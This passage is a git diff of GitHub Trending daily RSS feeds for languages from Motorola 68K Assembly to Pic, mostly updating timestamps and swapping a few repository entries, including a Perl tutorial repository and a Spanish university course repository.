No newline at end of file diff --git a/motorola-68k-assembly/daily/index.xml b/motorola-68k-assembly/daily/index.xml index 69156804bdf..d63931217aa 100644 --- a/motorola-68k-assembly/daily/index.xml +++ b/motorola-68k-assembly/daily/index.xml @@ -1,7 +1,7 @@ GitHub Motorola 68K Assembly Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:27Z + 2023-09-20T01:35:42Z Daily Trending of Motorola 68K Assembly in GitHub \ No newline at end of file diff --git a/mql4/daily/index.xml b/mql4/daily/index.xml index c870a42901f..34a2e1b67cb 100644 --- a/mql4/daily/index.xml +++ b/mql4/daily/index.xml @@ -1,7 +1,7 @@ GitHub MQL4 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:29Z + 2023-09-20T01:35:43Z Daily Trending of MQL4 in GitHub \ No newline at end of file diff --git a/mql5/daily/index.xml b/mql5/daily/index.xml index d44f399bf9c..5bbdd42b3aa 100644 --- a/mql5/daily/index.xml +++ b/mql5/daily/index.xml @@ -1,7 +1,7 @@ GitHub MQL5 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:29Z + 2023-09-20T01:35:46Z Daily Trending of MQL5 in GitHub \ No newline at end of file diff --git a/mtml/daily/index.xml b/mtml/daily/index.xml index 7e449c2757e..dccf54776a4 100644 --- a/mtml/daily/index.xml +++ b/mtml/daily/index.xml @@ -1,7 +1,7 @@ GitHub MTML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:30Z + 2023-09-20T01:35:45Z Daily Trending of MTML in GitHub \ No newline at end of file diff --git a/muf/daily/index.xml b/muf/daily/index.xml index be81b56a19e..3dc7a41d9a0 100644 --- a/muf/daily/index.xml +++ b/muf/daily/index.xml @@ -1,7 +1,7 @@ GitHub MUF Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:31Z + 2023-09-20T01:35:44Z Daily Trending of MUF in GitHub \ No newline at end of file diff --git a/mupad/daily/index.xml b/mupad/daily/index.xml index 51629c89958..766947e6b3a 100644 --- a/mupad/daily/index.xml +++ b/mupad/daily/index.xml @@ -1,7 +1,7 @@ GitHub mupad Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:34Z + 2023-09-20T01:35:47Z Daily Trending of mupad in GitHub \ No newline at end of file diff --git a/muse/daily/index.xml b/muse/daily/index.xml index 96086b96f48..41dfc3f6d16 100644 --- a/muse/daily/index.xml +++ b/muse/daily/index.xml @@ -1,7 +1,7 @@ GitHub Muse Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:32Z + 2023-09-20T01:35:48Z Daily Trending of Muse in GitHub \ No newline at end of file diff --git a/mustache/daily/index.xml b/mustache/daily/index.xml index 35f5f74fdbb..87955b327a3 100644 --- a/mustache/daily/index.xml +++ b/mustache/daily/index.xml @@ -1,7 +1,7 @@ GitHub Mustache Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:35Z + 2023-09-20T01:35:52Z Daily Trending of Mustache in GitHub \ No newline at end of file diff --git a/myghty/daily/index.xml b/myghty/daily/index.xml index a10978eb4af..3ee44e0a70e 100644 --- a/myghty/daily/index.xml +++ b/myghty/daily/index.xml @@ -1,7 +1,7 @@ GitHub Myghty Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:33Z + 2023-09-20T01:35:49Z Daily Trending of Myghty in GitHub \ No newline at end of file diff --git a/nanorc/daily/index.xml b/nanorc/daily/index.xml index c4e49c458f7..ddf8645f68d 100644 --- a/nanorc/daily/index.xml +++ b/nanorc/daily/index.xml @@ -1,7 +1,7 @@ GitHub nanorc Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:36Z + 2023-09-20T01:35:53Z Daily Trending of nanorc in GitHub \ No newline at end of file diff --git a/nasl/daily/index.xml b/nasl/daily/index.xml index c408b6a8150..c7d516055dd 100644 --- a/nasl/daily/index.xml +++ b/nasl/daily/index.xml @@ -1,7 +1,7 @@ GitHub NASL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:37Z + 2023-09-20T01:35:54Z Daily Trending of NASL in GitHub \ No newline at end of file diff --git a/ncl/daily/index.xml b/ncl/daily/index.xml index 4b9a8aa5b5d..e52b6e264d0 100644 --- a/ncl/daily/index.xml +++ b/ncl/daily/index.xml @@ -1,7 +1,7 @@ GitHub NCL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:38Z + 2023-09-20T01:35:55Z Daily Trending of NCL in GitHub \ No newline at end of file diff --git a/nearley/daily/index.xml b/nearley/daily/index.xml index 8cfcb577c90..f3070273c57 100644 --- a/nearley/daily/index.xml +++ b/nearley/daily/index.xml @@ -1,7 +1,7 @@ GitHub Nearley Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:41Z + 2023-09-20T01:35:56Z Daily Trending of Nearley in GitHub \ No newline at end of file diff --git a/nemerle/daily/index.xml b/nemerle/daily/index.xml index 28d5b272173..e9b463c3347 100644 --- a/nemerle/daily/index.xml +++ b/nemerle/daily/index.xml @@ -1,7 +1,7 @@ GitHub Nemerle Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:40Z + 2023-09-20T01:35:58Z Daily Trending of Nemerle in GitHub \ No newline at end of file diff --git a/neon/daily/index.xml b/neon/daily/index.xml index a89149afbd0..fb8e38ac6f0 100644 --- a/neon/daily/index.xml +++ b/neon/daily/index.xml @@ -1,7 +1,7 @@ GitHub NEON Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:43Z + 2023-09-20T01:35:57Z Daily Trending of NEON in GitHub \ No newline at end of file diff --git a/nesc/daily/index.xml b/nesc/daily/index.xml index ac2648aab13..ccfcdc505a4 100644 --- a/nesc/daily/index.xml +++ b/nesc/daily/index.xml @@ -1,7 +1,7 @@ GitHub nesC Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:42Z + 2023-09-20T01:35:59Z Daily Trending of nesC in GitHub \ No newline at end of file diff --git a/netlinx+erb/daily/index.xml b/netlinx+erb/daily/index.xml index a0f093a060c..7466d7b0168 100644 --- a/netlinx+erb/daily/index.xml +++ b/netlinx+erb/daily/index.xml @@ -1,7 +1,7 @@ GitHub NetLinx+ERB Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:45Z + 2023-09-20T01:36:03Z Daily Trending of NetLinx+ERB in GitHub \ No newline at end of file diff --git a/netlinx/daily/index.xml b/netlinx/daily/index.xml index 1f28cab3d8f..47a6afa3b0d 100644 --- a/netlinx/daily/index.xml +++ b/netlinx/daily/index.xml @@ -1,7 +1,7 @@ GitHub NetLinx Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:44Z + 2023-09-20T01:36:02Z Daily Trending of NetLinx in GitHub \ No newline at end of file diff --git a/netlogo/daily/index.xml b/netlogo/daily/index.xml index 53a9e55c54b..7928722e579 100644 --- a/netlogo/daily/index.xml +++ b/netlogo/daily/index.xml @@ -1,7 +1,7 @@ GitHub NetLogo Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:46Z + 2023-09-20T01:36:01Z Daily Trending of NetLogo in GitHub \ No newline at end of file diff --git a/newlisp/daily/index.xml b/newlisp/daily/index.xml index 5e53da46a71..cde6da584c7 100644 --- a/newlisp/daily/index.xml +++ b/newlisp/daily/index.xml @@ -1,7 +1,7 @@ GitHub NewLisp Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:45Z + 2023-09-20T01:36:00Z Daily Trending of NewLisp in GitHub \ No newline at end of file diff --git a/nextflow/daily/index.xml b/nextflow/daily/index.xml index ba4b391ffa7..375d74ce6e8 100644 --- a/nextflow/daily/index.xml +++ b/nextflow/daily/index.xml @@ -1,7 +1,7 @@ GitHub Nextflow Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:49Z + 2023-09-20T01:36:05Z Daily Trending of Nextflow in GitHub \ No newline at end of file diff --git a/nginx/daily/index.xml b/nginx/daily/index.xml index 2de1accf5a3..6c5033de2f8 100644 --- a/nginx/daily/index.xml +++ b/nginx/daily/index.xml @@ -1,7 +1,7 @@ GitHub Nginx Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:47Z + 2023-09-20T01:36:06Z Daily Trending of Nginx in GitHub \ No newline at end of file diff --git a/nim/daily/index.xml b/nim/daily/index.xml index bd8c34b004d..194b0448f5f 100644 --- a/nim/daily/index.xml +++ b/nim/daily/index.xml @@ -1,7 +1,7 @@ GitHub Nim Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:50Z + 2023-09-20T01:36:08Z Daily Trending of Nim in GitHub \ No newline at end of file diff --git a/ninja/daily/index.xml b/ninja/daily/index.xml index e31e6681509..d00d7ca2c41 100644 --- a/ninja/daily/index.xml +++ b/ninja/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ninja Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:48Z + 2023-09-20T01:36:06Z Daily Trending of Ninja in GitHub \ No newline at end of file diff --git a/nit/daily/index.xml b/nit/daily/index.xml index 67414db1fec..bb79f4037f1 100644 --- a/nit/daily/index.xml +++ b/nit/daily/index.xml @@ -1,7 +1,7 @@ GitHub Nit Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:53Z + 2023-09-20T01:36:09Z Daily Trending of Nit in GitHub \ No newline at end of file diff --git a/nix/daily/index.xml b/nix/daily/index.xml index fc6500615e1..df8884ec7ea 100644 --- a/nix/daily/index.xml +++ b/nix/daily/index.xml @@ -1,14 +1,7 @@ GitHub Nix Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:56Z + 2023-09-20T01:36:13Z Daily Trending of Nix in GitHub - - NixOS/nixos-org-configurations - 2023-09-19T01:34:56Z - tag:github.com,2023-09-19:/NixOS/nixos-org-configurations - - <p>NixOS configurations for nixos.org and its servers</p><hr> - \ No newline at end of file diff --git a/nl/daily/index.xml b/nl/daily/index.xml index b47b0bdd1de..1e5ef3bd977 100644 --- a/nl/daily/index.xml +++ b/nl/daily/index.xml @@ -1,7 +1,7 @@ GitHub NL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:52Z + 2023-09-20T01:36:10Z Daily Trending of NL in GitHub \ No newline at end of file diff --git a/npm-config/daily/index.xml b/npm-config/daily/index.xml index 92d752de290..17b3fbd0959 100644 --- a/npm-config/daily/index.xml +++ b/npm-config/daily/index.xml @@ -1,7 +1,7 @@ GitHub NPM Config Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:54Z + 2023-09-20T01:36:11Z Daily Trending of NPM Config in GitHub \ No newline at end of file diff --git a/nsis/daily/index.xml b/nsis/daily/index.xml index 4156527eff3..8cd668216c8 100644 --- a/nsis/daily/index.xml +++ b/nsis/daily/index.xml @@ -1,7 +1,7 @@ GitHub NSIS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:01Z + 2023-09-20T01:36:14Z Daily Trending of NSIS in GitHub \ No newline at end of file diff --git a/nu/daily/index.xml b/nu/daily/index.xml index 77d22f95b53..fa579c71136 100644 --- a/nu/daily/index.xml +++ b/nu/daily/index.xml @@ -1,7 +1,7 @@ GitHub Nu Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:58Z + 2023-09-20T01:36:16Z Daily Trending of Nu in GitHub \ No newline at end of file diff --git a/numpy/daily/index.xml b/numpy/daily/index.xml index 889d9b3e283..8fc783dd3c3 100644 --- a/numpy/daily/index.xml +++ b/numpy/daily/index.xml @@ -1,7 +1,7 @@ GitHub NumPy Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:34:59Z + 2023-09-20T01:36:15Z Daily Trending of NumPy in GitHub \ No newline at end of file diff --git a/nunjucks/daily/index.xml b/nunjucks/daily/index.xml index 28243427bb9..f1b6e760053 100644 --- a/nunjucks/daily/index.xml +++ b/nunjucks/daily/index.xml @@ -1,7 +1,7 @@ GitHub Nunjucks Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:00Z + 2023-09-20T01:36:17Z Daily Trending of Nunjucks in GitHub \ No newline at end of file diff --git a/nwscript/daily/index.xml b/nwscript/daily/index.xml index 755afd41640..902f98c9e26 100644 --- a/nwscript/daily/index.xml +++ b/nwscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub NWScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:03Z + 2023-09-20T01:36:20Z Daily Trending of NWScript in GitHub \ No newline at end of file diff --git a/objdump/daily/index.xml b/objdump/daily/index.xml index 93043fa65e7..6e69f64b341 100644 --- a/objdump/daily/index.xml +++ b/objdump/daily/index.xml @@ -1,7 +1,7 @@ GitHub ObjDump Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:07Z + 2023-09-20T01:36:23Z Daily Trending of ObjDump in GitHub \ No newline at end of file diff --git a/object-data-instance-notation/daily/index.xml b/object-data-instance-notation/daily/index.xml index b21ae7a12dd..6c9fb8584b6 100644 --- a/object-data-instance-notation/daily/index.xml +++ b/object-data-instance-notation/daily/index.xml @@ -1,7 +1,7 @@ GitHub Object Data Instance Notation Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:09Z + 2023-09-20T01:36:25Z Daily Trending of Object Data Instance Notation in GitHub \ No newline at end of file diff --git a/objective-c++/daily/index.xml b/objective-c++/daily/index.xml index c781499e353..292a54eed5f 100644 --- a/objective-c++/daily/index.xml +++ b/objective-c++/daily/index.xml @@ -1,7 +1,7 @@ GitHub Objective-C++ Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:12Z + 2023-09-20T01:36:28Z Daily Trending of Objective-C++ in GitHub \ No newline at end of file diff --git a/objective-c/daily/index.xml b/objective-c/daily/index.xml index ab24678abc6..5ca9bdf0161 100644 --- a/objective-c/daily/index.xml +++ b/objective-c/daily/index.xml @@ -1,7 +1,7 @@ GitHub Objective-C Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:16Z + 2023-09-20T01:36:31Z Daily Trending of Objective-C in GitHub \ No newline at end of file diff --git a/objective-j/daily/index.xml b/objective-j/daily/index.xml index 4d68e662b16..b0ca2268efa 100644 --- a/objective-j/daily/index.xml +++ b/objective-j/daily/index.xml @@ -1,7 +1,7 @@ GitHub Objective-J Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:11Z + 2023-09-20T01:36:26Z Daily Trending of Objective-J in GitHub \ No newline at end of file diff --git a/objectscript/daily/index.xml b/objectscript/daily/index.xml index c1983e4c16a..6052c54c604 100644 --- a/objectscript/daily/index.xml +++ b/objectscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub ObjectScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:10Z + 2023-09-20T01:36:26Z Daily Trending of ObjectScript in GitHub \ No newline at end of file diff --git a/ocaml/daily/index.xml b/ocaml/daily/index.xml index 080ddebffe8..d857467ebd8 100644 --- a/ocaml/daily/index.xml +++ b/ocaml/daily/index.xml @@ -1,14 +1,14 @@ GitHub OCaml Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:26Z + 2023-09-20T01:36:44Z Daily Trending of OCaml in GitHub - OCamlPro/superbol-studio-oss - 2023-09-19T01:35:26Z - tag:github.com,2023-09-19:/OCamlPro/superbol-studio-oss - - <p>Open-Source part of the SuperBOL Studio, including the Vscode mode with LSP</p><hr> + gborough/safemoney + 2023-09-20T01:36:44Z + tag:github.com,2023-09-20:/gborough/safemoney + + <p>A type safe money manipulation library for ocaml</p><hr> \ No newline at end of file diff --git a/odin/daily/index.xml b/odin/daily/index.xml index 3eb25dd420a..01a946d8e03 100644 --- a/odin/daily/index.xml +++ b/odin/daily/index.xml @@ -1,7 +1,7 @@ GitHub Odin Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:24Z + 2023-09-20T01:36:41Z Daily Trending of Odin in GitHub \ No newline at end of file diff --git a/omgrofl/daily/index.xml b/omgrofl/daily/index.xml index c913150b5bb..37d46893c69 100644 --- a/omgrofl/daily/index.xml +++ b/omgrofl/daily/index.xml @@ -1,7 +1,7 @@ GitHub Omgrofl Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:22Z + 2023-09-20T01:36:42Z Daily Trending of Omgrofl in GitHub \ No newline at end of file diff --git a/ooc/daily/index.xml b/ooc/daily/index.xml index a3bb3056e87..c470fcdd774 100644 --- a/ooc/daily/index.xml +++ b/ooc/daily/index.xml @@ -1,7 +1,7 @@ GitHub ooc Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:23Z + 2023-09-20T01:36:40Z Daily Trending of ooc in GitHub \ No newline at end of file diff --git a/opa/daily/index.xml b/opa/daily/index.xml index 2a40bfee0ee..6b639dd7a98 100644 --- a/opa/daily/index.xml +++ b/opa/daily/index.xml @@ -1,7 +1,7 @@ GitHub Opa Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:29Z + 2023-09-20T01:36:46Z Daily Trending of Opa in GitHub \ No newline at end of file diff --git a/opal/daily/index.xml b/opal/daily/index.xml index 41dc5801a6a..c69da112d73 100644 --- a/opal/daily/index.xml +++ b/opal/daily/index.xml @@ -1,7 +1,7 @@ GitHub Opal Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:28Z + 2023-09-20T01:36:45Z Daily Trending of Opal in GitHub \ No newline at end of file diff --git a/open-policy-agent/daily/index.xml b/open-policy-agent/daily/index.xml index 1d154ad479f..08d246d3d77 100644 --- a/open-policy-agent/daily/index.xml +++ b/open-policy-agent/daily/index.xml @@ -1,7 +1,7 @@ GitHub Open Policy Agent Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:30Z + 2023-09-20T01:36:48Z Daily Trending of Open Policy Agent in GitHub \ No newline at end of file diff --git a/opencl/daily/index.xml b/opencl/daily/index.xml index e920d8102dc..c70d4506f02 100644 --- a/opencl/daily/index.xml +++ b/opencl/daily/index.xml @@ -1,7 +1,7 @@ GitHub OpenCL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:32Z + 2023-09-20T01:36:51Z Daily Trending of OpenCL in GitHub \ No newline at end of file diff --git a/openedge-abl/daily/index.xml b/openedge-abl/daily/index.xml index eea476bf32d..56ec8648f1d 100644 --- a/openedge-abl/daily/index.xml +++ b/openedge-abl/daily/index.xml @@ -1,7 +1,7 @@ GitHub OpenEdge ABL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:33Z + 2023-09-20T01:36:52Z Daily Trending of OpenEdge ABL in GitHub \ No newline at end of file diff --git a/openqasm/daily/index.xml b/openqasm/daily/index.xml index 9a3216eaacb..c3cdd73b6c6 100644 --- a/openqasm/daily/index.xml +++ b/openqasm/daily/index.xml @@ -1,7 +1,7 @@ GitHub OpenQASM Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:34Z + 2023-09-20T01:36:50Z Daily Trending of OpenQASM in GitHub \ No newline at end of file diff --git a/openrc-runscript/daily/index.xml b/openrc-runscript/daily/index.xml index d754662a89c..66a26ebfc59 100644 --- a/openrc-runscript/daily/index.xml +++ b/openrc-runscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub OpenRC runscript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:37Z + 2023-09-20T01:36:54Z Daily Trending of OpenRC runscript in GitHub \ No newline at end of file diff --git a/openscad/daily/index.xml b/openscad/daily/index.xml index a7c26716a32..e641bcad696 100644 --- a/openscad/daily/index.xml +++ b/openscad/daily/index.xml @@ -1,7 +1,7 @@ GitHub OpenSCAD Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:36Z + 2023-09-20T01:36:55Z Daily Trending of OpenSCAD in GitHub \ No newline at end of file diff --git a/openstep-property-list/daily/index.xml b/openstep-property-list/daily/index.xml index c404c46ad46..92505a3a076 100644 --- a/openstep-property-list/daily/index.xml +++ b/openstep-property-list/daily/index.xml @@ -1,7 +1,7 @@ GitHub OpenStep Property List Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:38Z + 2023-09-20T01:36:56Z Daily Trending of OpenStep Property List in GitHub \ No newline at end of file diff --git a/opentype-feature-file/daily/index.xml b/opentype-feature-file/daily/index.xml index 4ca0f2131bd..4cb248275fe 100644 --- a/opentype-feature-file/daily/index.xml +++ b/opentype-feature-file/daily/index.xml @@ -1,7 +1,7 @@ GitHub OpenType Feature File Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:37Z + 2023-09-20T01:36:53Z Daily Trending of OpenType Feature File in GitHub \ No newline at end of file diff --git a/org/daily/index.xml b/org/daily/index.xml index a0c09e02567..487a6b922cf 100644 --- a/org/daily/index.xml +++ b/org/daily/index.xml @@ -1,7 +1,7 @@ GitHub Org Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:40Z + 2023-09-20T01:36:58Z Daily Trending of Org in GitHub \ No newline at end of file diff --git a/ox/daily/index.xml b/ox/daily/index.xml index 509412dc517..47d079e1668 100644 --- a/ox/daily/index.xml +++ b/ox/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ox Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:41Z + 2023-09-20T01:37:00Z Daily Trending of Ox in GitHub \ No newline at end of file diff --git a/oxygene/daily/index.xml b/oxygene/daily/index.xml index 0c9d5a2e16b..100caa4b6a7 100644 --- a/oxygene/daily/index.xml +++ b/oxygene/daily/index.xml @@ -1,7 +1,7 @@ GitHub Oxygene Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:42Z + 2023-09-20T01:36:59Z Daily Trending of Oxygene in GitHub \ No newline at end of file diff --git a/oz/daily/index.xml b/oz/daily/index.xml index 5adbd1cea70..408d75c9bdf 100644 --- a/oz/daily/index.xml +++ b/oz/daily/index.xml @@ -1,7 +1,7 @@ GitHub Oz Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:44Z + 2023-09-20T01:37:02Z Daily Trending of Oz in GitHub \ No newline at end of file diff --git a/p4/daily/index.xml b/p4/daily/index.xml index e5e2e7a16cc..3bb19a0997c 100644 --- a/p4/daily/index.xml +++ b/p4/daily/index.xml @@ -1,7 +1,7 @@ GitHub P4 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:45Z + 2023-09-20T01:37:03Z Daily Trending of P4 in GitHub \ No newline at end of file diff --git a/pan/daily/index.xml b/pan/daily/index.xml index 6d8f50d8903..addaac87d69 100644 --- a/pan/daily/index.xml +++ b/pan/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pan Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:46Z + 2023-09-20T01:37:01Z Daily Trending of Pan in GitHub \ No newline at end of file diff --git a/papyrus/daily/index.xml b/papyrus/daily/index.xml index 6ef7524052b..10d3b985f4a 100644 --- a/papyrus/daily/index.xml +++ b/papyrus/daily/index.xml @@ -1,7 +1,7 @@ GitHub Papyrus Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:48Z + 2023-09-20T01:37:07Z Daily Trending of Papyrus in GitHub \ No newline at end of file diff --git a/parrot-assembly/daily/index.xml b/parrot-assembly/daily/index.xml index 7dc827b7393..cc3b86757fe 100644 --- a/parrot-assembly/daily/index.xml +++ b/parrot-assembly/daily/index.xml @@ -1,7 +1,7 @@ GitHub Parrot Assembly Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:49Z + 2023-09-20T01:37:06Z Daily Trending of Parrot Assembly in GitHub \ No newline at end of file diff --git a/parrot-internal-representation/daily/index.xml b/parrot-internal-representation/daily/index.xml index a24ebf7d8fa..179f28761af 100644 --- a/parrot-internal-representation/daily/index.xml +++ b/parrot-internal-representation/daily/index.xml @@ -1,7 +1,7 @@ GitHub Parrot Internal Representation Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:50Z + 2023-09-20T01:37:05Z Daily Trending of Parrot Internal Representation in GitHub \ No newline at end of file diff --git a/parrot/daily/index.xml b/parrot/daily/index.xml index 9fcd2b8d2b4..a6f11125c05 100644 --- a/parrot/daily/index.xml +++ b/parrot/daily/index.xml @@ -1,7 +1,7 @@ GitHub Parrot Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:47Z + 2023-09-20T01:37:07Z Daily Trending of Parrot in GitHub \ No newline at end of file diff --git a/pascal/daily/index.xml b/pascal/daily/index.xml index d744dd6651c..480f8e6dd33 100644 --- a/pascal/daily/index.xml +++ b/pascal/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pascal Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:55Z + 2023-09-20T01:37:12Z Daily Trending of Pascal in GitHub \ No newline at end of file diff --git a/pawn/daily/index.xml b/pawn/daily/index.xml index ac05690290c..300699988e3 100644 --- a/pawn/daily/index.xml +++ b/pawn/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pawn Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:53Z + 2023-09-20T01:37:09Z Daily Trending of Pawn in GitHub \ No newline at end of file diff --git a/peg.js/daily/index.xml b/peg.js/daily/index.xml index 032163fec32..1302ce478ac 100644 --- a/peg.js/daily/index.xml +++ b/peg.js/daily/index.xml @@ -1,7 +1,7 @@ GitHub PEG.js Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:51Z + 2023-09-20T01:37:09Z Daily Trending of PEG.js in GitHub \ No newline at end of file diff --git a/pep8/daily/index.xml b/pep8/daily/index.xml index 3248e5f55d4..2e06bd06e84 100644 --- a/pep8/daily/index.xml +++ b/pep8/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pep8 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:57Z + 2023-09-20T01:37:13Z Daily Trending of Pep8 in GitHub \ No newline at end of file diff --git a/perl/daily/index.xml b/perl/daily/index.xml index d12747c7c1f..905fbf0dad5 100644 --- a/perl/daily/index.xml +++ b/perl/daily/index.xml @@ -1,7 +1,28 @@ GitHub Perl Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:36:12Z + 2023-09-20T01:37:20Z Daily Trending of Perl in GitHub + + abhaykamat/LearningPerl + 2023-09-20T01:37:20Z + tag:github.com,2023-09-20:/abhaykamat/LearningPerl + + <p>learn to program in perl by Learning Perl=6th, Intermediate Perl=2nd, Programming Perl=4th</p><hr><p>Learning Perl, Six Edition</p> <p>book samples and exercises ch02 Scalar Data ch03 Lists and Arrays</p> + + + JJ/IV- + 2023-09-20T01:37:20Z + tag:github.com,2023-09-20:/JJ/IV- + + <p>Repositorio anual de IV</p><hr><h1>Repositorio de clase de Infraestructura Virtual de la <a href="https://etsiit.ugr.es">ETSIIT</a></h1> <blockquote> <p>Este repositorio está añadido al <a href="https://hacktoberfest.com">Hacktoberfest</a>. Puedes ayudar mirando los diferentes documentos, sobre todo sobre sesiones semanales, y ayudar con errores de enlaces o aportando de cualquier otra forma. También se agradecen cambios a los workflows de CI que se usan.</p> </blockquote> <p>Repositorio para el material específico de cada clase, planificación y ejercicios.</p> <ul> <li>Debes consultar <a href="http://jj.github.io/IV">los apuntes de la materia</a> antes de pasar a ejecutar las diferentes fases del proyecto.</li> <li>Comprueba la <a href="https://raw.githubusercontent.com/JJ/IV-/master/Metodolog%C3%ADa_y_criterios_de_evaluaci%C3%B3n.md">metodología y criterios de evaluación</a>.</li> <li>Comienza con <a href="https://raw.githubusercontent.com/JJ/IV-/master/sesiones/README.md">la programación y objetivos de las diferentes sesiones de la asignatura</a>.</li> <li>Las entregas de los diferentes objetivos se hacen mediante pull requests a ficheros en <a href="https://raw.githubusercontent.com/JJ/IV-/master/proyectos">este directorio</a>. Lee <a href="https://raw.githubusercontent.com/JJ/IV-/master/proyectos/README.md">las instrucciones</a> para hacerlo correctamente, y resolver los conflictos que puedan surgir.</li> </ul> + + + perl-catalyst/Catalyst-Model-DBIC-Schema + 2023-09-20T01:37:20Z + tag:github.com,2023-09-20:/perl-catalyst/Catalyst-Model-DBIC-Schema + + <p></p><hr> + \ No newline at end of file diff --git a/php/daily/index.xml b/php/daily/index.xml index 6e3578aa193..d72f9678587 100644 --- a/php/daily/index.xml +++ b/php/daily/index.xml @@ -1,7 +1,7 @@ GitHub PHP Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:36:03Z + 2023-09-20T01:37:28Z Daily Trending of PHP in GitHub \ No newline at end of file diff --git a/pic/daily/index.xml b/pic/daily/index.xml index e149c59e0f3..7cf6dda355d 100644 --- a/pic/daily/index.xml +++ b/pic/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pic Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:35:57Z + 2023-09-20T01:37:14Z Daily Trending of Pic in GitHub \ No newline at end of file diff --git 